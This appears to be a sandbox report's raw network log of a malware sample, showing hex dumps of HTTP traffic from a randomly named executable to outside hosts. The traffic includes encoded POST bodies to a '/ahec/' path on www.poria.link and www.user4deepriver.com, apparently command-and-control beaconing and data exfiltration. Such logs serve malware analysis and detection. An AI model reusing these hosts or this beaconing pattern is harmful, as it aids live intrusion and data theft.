56 71 57 34 75 6a 41 30 4d 72 2f 42 38 54 79 4f 45 56 46 44 79 6a 6f 4d 62 58 45 30 41 4b 6c 4d 35 69 4b 4e 6f 4e 6a 76 64 75 72 75 76 6a 7a 50 7a 43 51 35 6e 4d 57 34 2b 56 53 63 55 47 6e 52 6a 2f 2f 55 41 70 72 32 41 4d 69 69 4c 71 70 76 4b 75 75 78 78 31 69 35 79 38 6e 32 6f 79 77 42 4c 6a 41 77 65 53 79 43 39 67 4e 75 61 41 53 6b 79 44 66 64 57 52 77 45 55 7a 49 55 4a 52 61 68 72 37 71 33 48 72 37 39 74 51 49 36 62 6c 6f 45 4d 51 79 69 65 39 73 74 35 63 6b 4c 6f 6f 2b 6d 41 62 5a 34 55 45 49 65 62 2b 45 78 34 4f 30 53 45 35 34 58 41 41 65 72 41 37 71 79 4a 77 35 4c 68 6c 68 57 33 76 2f 43 31 32 69 70 70 75 4c 2f 41 65 4d 61 71 4e 34 41 6c 77 63 41 73 70 44 62 67 39 Data Ascii: XveXHZvx=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
Dec 8, 2023 14:50:40.387168884 CET	580	IN	HTTP/1.1 404 Not Found Content-Type: text/html Transfer-Encoding: chunked Connection: close Date: Fri, 08 Dec 2023 13:50:40 GMT Server: Apache Content-Encoding: gzip Data Raw: 31 38 39 0d 0a 1f 8b 08 00 00 00 00 00 00 03 7d 51 4b 4f e3 30 10 be f7 57 cc 7a 0f 9c 1c 37 94 43 9b 26 1c b6 ad b4 48 85 45 28 88 e5 68 62 b7 b1 e4 78 82 33 21 0d bf 1e 27 e5 b1 20 b4 27 8f ed ef 31 f3 4d fa 63 fd 67 95 df 5f 6f a0 a4 ca c2 f5 ed af ed c5 0a 18 17 e2 6e b6 12 62 9d af e1 ef ef fc 72 0b 71 34 85 dc 4b d7 18 32 e8 a4 15 62 73 c5 26 ac 24 aa 13 21 ba ae 8b ba 59 84 7e 2f f2 1b 71 18 b4 e2 81 fc 5a 72 fa 87 19 29 52 ec 7c 92 8e 86 56 ba 7d c6 b4 63 70 a8 6c f2 e9 e6 9a ec 1b f9 78 b1 58 1c 55 83 06 a4 a5 96 2a 9c 90 92 21 ab 87 0a 36 de a3 87 b3 e9 19 70 b8 42 82 1d b6 4e 0d 10 f1 8e 49 2b 4d 12 0a 74 a4 1d 65 8c f4 81 c4 d0 ce 12 8a 52 fa 46 53 d6 d2 8e cf 59 08 85 6a ae 1f 5b f3 94 b1 d5 11 ce f3 be d6 83 37 7c 51 71 c8 0b 59 94 fa 33 6b 7c e2 83 95 47 3b b6 2c 5e 7b 4e 1f 50 f5 d0 50 6f 75 c6 76 01 c0 77 b2 32 b6 4f a4 37 d2 2e 8f 16 65 fc 86 28 d0 a2 4f 7e 4e e5 ec 74 5e 2c 47 7c 63 9e 75 12 16 a3 ab 23 fa 3f a3 97 f1 d8 71 fd a6 f6 c1 9f 46 f3 77 fe 3d b6 1e 1e 3c 76 8d f6 50 48 77 12 d2 33 4e 01 95 1a 14 16 6d 15 e2 0a b1 79 af 9b 1a 9d 32 6e 0f 84 e3 ef ed cd 16 7a 6c 81 42 38 0a 8c 8b c6 c0 eb 60 9a 8a 61 ce b0 ef 31 e1 f3 c9 0b 6c 60 6d 75 72 02 00 00 0d 0a 30 0d 0a 0d 0a Data Ascii: 189}QKO0Wz7C&HE(hbx3!' '1Mcg_onbrq4K2bs&$!Y~/qZr)R\|V}cplxXU*!6pBNI+MteRFSYj[7\|QqY3k\|G;,^{NPPouvw2O7.e(O~Nt^,G\|cu#?qFw=<vPHw3Nmy2nzlB8`a1l`mur0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.4	49743	74.208.236.181	80	5016	C:\Program Files (x86)\fvCwMkebvdlZnVAfIydJNuzaLtYKKNgsocDEVFzzoGRisGnQb\UHPrrMeffyCaz.exe

Timestamp	Bytes transferred	Direction	Data
Dec 8, 2023 14:50:42.900471926 CET	476	OUT	GET /ahec/?XveXHZvx=9k2v98v8fW7x5mt2TD9N5hM0Gp49wMZ6NgJCH+u8B3tf6gDcFaFwcfLjsp7tbCeN6M+Gl5HR8oN4IorBb0pnZhULhTE/SFE2Bw==&l4xX=rDStpH0He HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8 Accept-Language: en-US,en;q=0.9 Host: www.user4deepriver.com Connection: close User-Agent: Mozilla/5.0 (iPad; CPU OS 8_4 like Mac OS X) AppleWebKit/600.1.4 (KHTML, like Gecko) Version/8.0 Mobile/12H143 Safari/600.1.4
Dec 8, 2023 14:50:43.073848963 CET	770	IN	HTTP/1.1 404 Not Found Content-Type: text/html Content-Length: 626 Connection: close Date: Fri, 08 Dec 2023 13:50:42 GMT Server: Apache Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 58 48 54 4d 4c 20 31 2e 30 20 54 72 61 6e 73 69 74 69 6f 6e 61 6c 2f 2f 45 4e 22 0a 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 78 68 74 6d 6c 31 2f 44 54 44 2f 78 68 74 6d 6c 31 2d 74 72 61 6e 73 69 74 69 6f 6e 61 6c 2e 64 74 64 22 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 78 6d 6c 3a 6c 61 6e 67 3d 22 65 6e 22 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 68 74 6d 6c 22 3e 0a 20 3c 68 65 61 64 3e 0a 20 20 3c 74 69 74 6c 65 3e 0a 20 20 20 45 72 72 6f 72 20 34 30 34 20 2d 20 4e 6f 74 20 66 6f 75 6e 64 0a 20 20 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 6d 65 74 61 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 3e 0a 20 20 3c 6d 65 74 61 20 63 6f 6e 74 65 6e 74 3d 22 6e 6f 2d 63 61 63 68 65 22 20 68 74 74 70 2d 65 71 75 69 76 3d 22 63 61 63 68 65 2d 63 6f 6e 74 72 6f 6c 22 3e 0a 20 3c 2f 68 65 61 64 3e 0a 20 3c 62 6f 64 79 20 73 74 79 6c 65 3d 22 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 61 72 69 61 6c 3b 22 3e 0a 20 20 3c 68 31 20 73 74 79 6c 65 3d 22 63 6f 6c 6f 72 3a 23 30 61 33 32 38 63 3b 66 6f 6e 74 2d 73 69 7a 65 3a 31 2e 30 65 6d 3b 22 3e 0a 20 20 20 45 72 72 6f 72 20 34 30 34 20 2d 20 4e 6f 74 20 66 6f 75 6e 64 0a 20 20 3c 2f 68 31 3e 0a 20 20 3c 70 20 73 74 79 6c 65 3d 22 66 6f 6e 74 2d 73 69 7a 65 3a 30 2e 38 65 6d 3b 22 3e 0a 20 20 20 59 6f 75 72 20 62 72 6f 77 73 65 72 20 63 61 6e 27 74 20 66 69 6e 64 20 74 68 65 20 64 6f 63 75 6d 65 6e 74 20 63 6f 72 72 65 73 70 6f 6e 64 69 6e 67 20 74 6f 20 74 68 65 20 55 52 4c 20 79 6f 75 20 74 79 70 65 64 20 69 6e 2e 0a 20 20 3c 2f 70 3e 0a 20 3c 2f 62 6f 64 79 3e 0a 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN""http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"><html lang="en" xml:lang="en" xmlns="http://www.w3.org/1999/xhtml"> <head> <title> Error 404 - Not found </title> <meta content="text/html; charset=utf-8" http-equiv="Content-Type"> <meta content="no-cache" http-equiv="cache-control"> </head> <body style="font-family:arial;"> <h1 style="color:#0a328c;font-size:1.0em;"> Error 404 - Not found </h1> <p style="font-size:0.8em;"> Your browser can't find the document corresponding to the URL you typed in. </p> </body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.4	49744	104.21.18.253	80	5016	C:\Program Files (x86)\fvCwMkebvdlZnVAfIydJNuzaLtYKKNgsocDEVFzzoGRisGnQb\UHPrrMeffyCaz.exe

Timestamp	Bytes transferred	Direction	Data
Dec 8, 2023 14:50:48.439062119 CET	732	OUT	POST /ahec/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8 Accept-Language: en-US,en;q=0.9 Accept-Encoding: gzip, deflate, br Host: www.poria.link Origin: http://www.poria.link Referer: http://www.poria.link/ahec/ Cache-Control: no-cache Content-Length: 189 Content-Type: application/x-www-form-urlencoded Connection: close User-Agent: Mozilla/5.0 (iPad; CPU OS 8_4 like Mac OS X) AppleWebKit/600.1.4 (KHTML, like Gecko) Version/8.0 Mobile/12H143 Safari/600.1.4 Data Raw: 58 76 65 58 48 5a 76 78 3d 46 58 69 45 46 63 6e 59 54 68 35 54 57 42 2b 68 39 61 30 31 4b 74 66 59 75 78 39 43 57 42 71 65 69 62 54 79 65 4c 46 45 2b 49 37 6f 6a 68 62 4d 62 72 4f 34 37 44 49 71 64 58 59 76 44 6f 53 32 74 7a 70 49 46 55 7a 63 5a 48 67 6e 47 57 37 64 73 38 46 70 33 56 43 32 4a 6e 4d 63 63 67 72 76 2f 44 67 75 4c 74 59 35 7a 62 74 38 68 52 57 4e 50 2f 36 6f 39 47 53 73 6c 6b 44 6a 5a 6b 43 72 6d 45 62 44 47 62 41 49 57 74 73 4d 78 46 4a 69 30 61 33 53 59 64 43 49 6a 31 42 77 7a 6b 75 73 6c 52 39 66 4b 36 55 73 4c 68 6a 42 69 4d 42 50 5a 41 3d 3d Data Ascii: XveXHZvx=FXiEFcnYTh5TWB+h9a01KtfYux9CWBqeibTyeLFE+I7ojhbMbrO47DIqdXYvDoS2tzpIFUzcZHgnGW7ds8Fp3VC2JnMccgrv/DguLtY5zbt8hRWNP/6o9GSslkDjZkCrmEbDGbAIWtsMxFJi0a3SYdCIj1BwzkuslR9fK6UsLhjBiMBPZA==
Dec 8, 2023 14:50:48.715878010 CET	1029	IN	HTTP/1.1 200 OK Date: Fri, 08 Dec 2023 13:50:48 GMT Content-Length: 353 Connection: close Content-Encoding: gzip X-Frame-Options: SAMEORIGIN Cache-Control: private, no-cache, no-store, max-age=0 Expires: Mon, 01 Jan 1990 0:00:00 GMT CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=eMEaukHhjCSQTUs92yM8CbjGawTCEIkCp0dPRmAgW2QYf9LHBUsUfl7Zui%2Bb7mZS6FkShsiwZ0FMTgfbbC8m808x%2BPFvDJ%2BxAHOB27060BLi0PxGOxzKMOB8ZYHYBKdKHw%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 83257ac11fa79aeb-MIA alt-svc: h3=":443"; ma=86400 Data Raw: 1f 8b 08 00 00 00 00 00 00 ff 6d 52 b1 4e c4 30 0c fd 15 6f b7 a0 e6 90 98 50 af 23 12 0b 0b 13 a3 db b8 6d 44 1a 17 c7 bd aa 7f 8f d3 d3 1d 27 40 6a 2a bd 17 fb 3d c7 76 3d ea 14 9b 7a 24 f4 4d ad 41 23 35 6f ac f0 c2 4b f2 b5 bb 10 b5 bb 5c b7 ec b7 a6 ee 28 29 89 a1 ff 8e 7d 61 b8 57 28 d0 fe 3f 21 8a 6d 24 e8 28 c6 19 bd 0f 69 38 3d 1e 77 98 67 ec 0a 3c c2 1a bc 8e a7 a7 e3 11 5a 16 4f 72 7a b4 b4 92 ea 9b 0f 5e 04 3c 4f 18 12 74 bc 44 0f c9 bc 5a 82 be d8 81 b1 25 a0 67 59 51 8a 38 b0 40 56 c2 a8 e3 3d bb 17 91 2b b8 56 f5 da c3 c6 0b 08 95 c7 c5 0d 32 69 21 04 12 4e 64 48 ce 24 f9 01 e6 48 98 09 56 0c 0a 08 3d ad 30 85 b4 28 65 40 33 57 d9 00 07 ab ac 82 77 9e 48 c3 64 17 42 59 51 b4 98 ee 82 ad f0 6a 7a 30 52 9c 73 f5 c7 ff 6b 09 62 8f 59 44 47 0b c2 9c 83 a5 a7 8e 6e de e7 90 cd bc 28 ed 3d 30 40 80 0a 35 c2 28 d4 9f 0e a3 ea fc ec dc ba ae 95 df 12 7a d6 aa e3 e9 d0 fc 22 6a 87 4d 65 f3 b5 a9 ba d2 5a b7 77 e4 67 4a 61 1a 20 4b 77 d3 9b 51 3e bb c8 8b bf 17 71 91 07 ae 86 d0 1f 4c e0 ba 16 ee b2 25 6e df ab 6f b5 21 96 59 5e 02 00 00 Data Ascii: mRN0oP#mD'@j*=v=z$MA#5oK\()}aW(?!m$(i8=wg<ZOrz^<OtDZ%gYQ8@V=+V2i!NdH$HV=0(e@3WwHdBYQjz0RskbYDGn(=0@5(z"jMeZwgJa KwQ>qL%no!Y^

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.4	49745	104.21.18.253	80	5016	C:\Program Files (x86)\fvCwMkebvdlZnVAfIydJNuzaLtYKKNgsocDEVFzzoGRisGnQb\UHPrrMeffyCaz.exe

Timestamp	Bytes transferred	Direction	Data
Dec 8, 2023 14:50:51.092530966 CET	752	OUT	POST /ahec/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8 Accept-Language: en-US,en;q=0.9 Accept-Encoding: gzip, deflate, br Host: www.poria.link Origin: http://www.poria.link Referer: http://www.poria.link/ahec/ Cache-Control: no-cache Content-Length: 209 Content-Type: application/x-www-form-urlencoded Connection: close User-Agent: Mozilla/5.0 (iPad; CPU OS 8_4 like Mac OS X) AppleWebKit/600.1.4 (KHTML, like Gecko) Version/8.0 Mobile/12H143 Safari/600.1.4 Data Raw: 58 76 65 58 48 5a 76 78 3d 46 58 69 45 46 63 6e 59 54 68 35 54 58 68 69 68 2f 35 63 31 4c 4e 66 58 67 52 39 43 45 42 72 5a 69 63 62 79 65 50 31 55 2b 64 72 6f 67 42 72 4d 61 76 61 34 34 44 49 71 54 33 59 71 48 6f 53 68 74 7a 55 31 46 56 50 63 5a 48 6b 6e 47 57 4c 64 74 50 39 71 31 46 43 30 63 33 4d 65 53 41 72 76 2f 44 67 75 4c 74 4d 54 7a 62 56 38 68 68 6d 4e 4f 64 43 76 2b 47 53 6a 73 45 44 6a 64 6b 43 76 6d 45 62 62 47 61 74 6a 57 6f 67 4d 78 45 35 69 30 76 62 52 44 74 43 4b 73 56 41 5a 38 56 79 69 6e 78 38 71 4c 4e 63 54 4b 47 36 75 6a 5a 74 63 65 37 5a 43 32 55 33 4b 55 39 51 31 6e 53 6a 57 41 6a 43 59 75 71 38 3d Data Ascii: XveXHZvx=FXiEFcnYTh5TXhih/5c1LNfXgR9CEBrZicbyeP1U+drogBrMava44DIqT3YqHoShtzU1FVPcZHknGWLdtP9q1FC0c3MeSArv/DguLtMTzbV8hhmNOdCv+GSjsEDjdkCvmEbbGatjWogMxE5i0vbRDtCKsVAZ8Vyinx8qLNcTKG6ujZtce7ZC2U3KU9Q1nSjWAjCYuq8=
Dec 8, 2023 14:50:51.383552074 CET	1033	IN	HTTP/1.1 200 OK Date: Fri, 08 Dec 2023 13:50:51 GMT Content-Length: 353 Connection: close Content-Encoding: gzip X-Frame-Options: SAMEORIGIN Cache-Control: private, no-cache, no-store, max-age=0 Expires: Mon, 01 Jan 1990 0:00:00 GMT CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=mStufdvmE9kAgPDd2Z0xr44JqzWQf0WqGwjgkT%2FxaItiwU9PhR4%2Bwxo3VRLk2WtuE1Evb%2BcXdYiDphX3lFuOBBcE8gHRWEeOfZNT5X3McUp4tJ472R8toMypEB%2BK%2B11YXg%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 83257ad1ae1667cf-MIA alt-svc: h3=":443"; ma=86400 Data Raw: 1f 8b 08 00 00 00 00 00 00 ff 6d 52 b1 4e c4 30 0c fd 15 6f b7 a0 e6 90 98 50 af 23 12 0b 0b 13 a3 db b8 6d 44 1a 17 c7 bd aa 7f 8f d3 d3 1d 27 40 6a 2a bd 17 fb 3d c7 76 3d ea 14 9b 7a 24 f4 4d ad 41 23 35 6f ac f0 c2 4b f2 b5 bb 10 b5 bb 5c b7 ec b7 a6 ee 28 29 89 a1 ff 8e 7d 61 b8 57 28 d0 fe 3f 21 8a 6d 24 e8 28 c6 19 bd 0f 69 38 3d 1e 77 98 67 ec 0a 3c c2 1a bc 8e a7 a7 e3 11 5a 16 4f 72 7a b4 b4 92 ea 9b 0f 5e 04 3c 4f 18 12 74 bc 44 0f c9 bc 5a 82 be d8 81 b1 25 a0 67 59 51 8a 38 b0 40 56 c2 a8 e3 3d bb 17 91 2b b8 56 f5 da c3 c6 0b 08 95 c7 c5 0d 32 69 21 04 12 4e 64 48 ce 24 f9 01 e6 48 98 09 56 0c 0a 08 3d ad 30 85 b4 28 65 40 33 57 d9 00 07 ab ac 82 77 9e 48 c3 64 17 42 59 51 b4 98 ee 82 ad f0 6a 7a 30 52 9c 73 f5 c7 ff 6b 09 62 8f 59 44 47 0b c2 9c 83 a5 a7 8e 6e de e7 90 cd bc 28 ed 3d 30 40 80 0a 35 c2 28 d4 9f 0e a3 ea fc ec dc ba ae 95 df 12 7a d6 aa e3 e9 d0 fc 22 6a 87 4d 65 f3 b5 a9 ba d2 5a b7 77 e4 67 4a 61 1a 20 4b 77 d3 9b 51 3e bb c8 8b bf 17 71 91 07 ae 86 d0 1f 4c e0 ba 16 ee b2 25 6e df ab 6f b5 21 96 59 5e 02 00 00 Data Ascii: mRN0oP#mD'@j*=v=z$MA#5oK\()}aW(?!m$(i8=wg<ZOrz^<OtDZ%gYQ8@V=+V2i!NdH$HV=0(e@3WwHdBYQjz0RskbYDGn(=0@5(z"jMeZwgJa KwQ>qL%no!Y^

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.4	49747	104.21.18.253	80	5016	C:\Program Files (x86)\fvCwMkebvdlZnVAfIydJNuzaLtYKKNgsocDEVFzzoGRisGnQb\UHPrrMeffyCaz.exe

Timestamp	Bytes transferred	Direction	Data
Dec 8, 2023 14:50:53.749476910 CET	10834	OUT	POST /ahec/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8 Accept-Language: en-US,en;q=0.9 Accept-Encoding: gzip, deflate, br Host: www.poria.link Origin: http://www.poria.link Referer: http://www.poria.link/ahec/ Cache-Control: no-cache Content-Length: 10289 Content-Type: application/x-www-form-urlencoded Connection: close User-Agent: Mozilla/5.0 (iPad; CPU OS 8_4 like Mac OS X) AppleWebKit/600.1.4 (KHTML, like Gecko) Version/8.0 Mobile/12H143 Safari/600.1.4 Data Raw: 58 76 65 58 48 5a 76 78 3d 46 58 69 45 46 63 6e 59 54 68 35 54 58 68 69 68 2f 35 63 31 4c 4e 66 58 67 52 39 43 45 42 72 5a 69 63 62 79 65 50 31 55 2b 64 6a 6f 67 79 6a 4d 61 4e 79 34 35 44 49 71 4e 6e 59 72 48 6f 53 5a 74 7a 38 78 46 56 44 71 5a 43 34 6e 55 6c 44 64 6b 65 39 71 76 56 43 30 65 33 4d 64 63 67 72 41 2f 44 51 71 4c 75 30 54 7a 62 56 38 68 69 2b 4e 4c 2f 36 76 34 47 53 73 6c 6b 44 52 5a 6b 43 58 6d 45 54 4c 47 61 70 56 57 62 6f 4d 78 6b 70 69 32 39 44 52 50 74 43 4d 34 31 41 42 38 56 2f 67 6e 78 68 56 4c 49 67 31 4b 42 53 75 67 2b 59 62 61 4b 70 53 71 45 6a 33 55 70 59 6a 6f 46 53 61 54 51 61 4a 34 4b 64 4f 6d 4a 77 66 46 55 67 52 36 37 55 2f 5a 6d 6e 33 70 47 73 31 7a 38 6d 67 73 68 31 72 4e 43 73 4d 7a 64 31 4e 6c 49 67 6d 4f 75 67 36 31 67 61 64 6a 52 72 54 52 6f 73 5a 49 76 59 69 41 4b 57 54 71 4b 6c 5a 57 58 4b 66 4a 41 6e 6e 50 46 57 48 39 48 7a 62 46 46 39 31 41 71 6d 42 67 51 4c 68 58 65 5a 4d 35 7a 52 34 4c 39 72 63 58 63 68 6f 79 30 62 62 37 36 36 76 65 68 37 5a 38 38 56 64 78 33 67 4c 37 63 75 7a 4a 52 6a 35 69 2b 2f 36 42 44 5a 71 6d 45 39 61 78 79 71 62 74 6c 4f 41 77 62 30 6e 51 45 43 51 44 4f 72 67 4a 39 62 38 6f 58 47 31 48 4f 6a 63 70 38 54 39 50 47 42 41 76 37 41 54 59 52 32 74 65 78 6c 31 73 6b 58 55 4b 42 33 53 6b 69 48 77 58 77 6c 67 62 42 6c 72 4b 64 69 79 58 53 6b 72 59 42 7a 6f 62 58 4f 4f 4f 75 39 49 75 71 77 6f 61 39 51 37 48 6a 78 32 6d 54 55 2f 5a 77 47 4e 64 6a 76 42 62 4a 44 49 71 47 54 4f 4d 6f 61 42 4b 41 6c 7a 69 30 59 4e 45 77 74 43 41 2f 30 34 4f 31 67 35 50 74 73 6c 38 47 48 43 77 69 32 6e 32 52 32 66 6f 4a 6b 79 79 5a 64 76 72 6e 5a 62 46 46 62 49 48 6c 52 70 47 6f 31 50 49 51 71 57 4e 4a 31 52 62 4b 76 36 73 76 2f 61 30 57 5a 51 37 51 32 57 48 61 48 65 49 33 56 69 69 59 69 51 72 78 45 4d 38 6a 50 54 4f 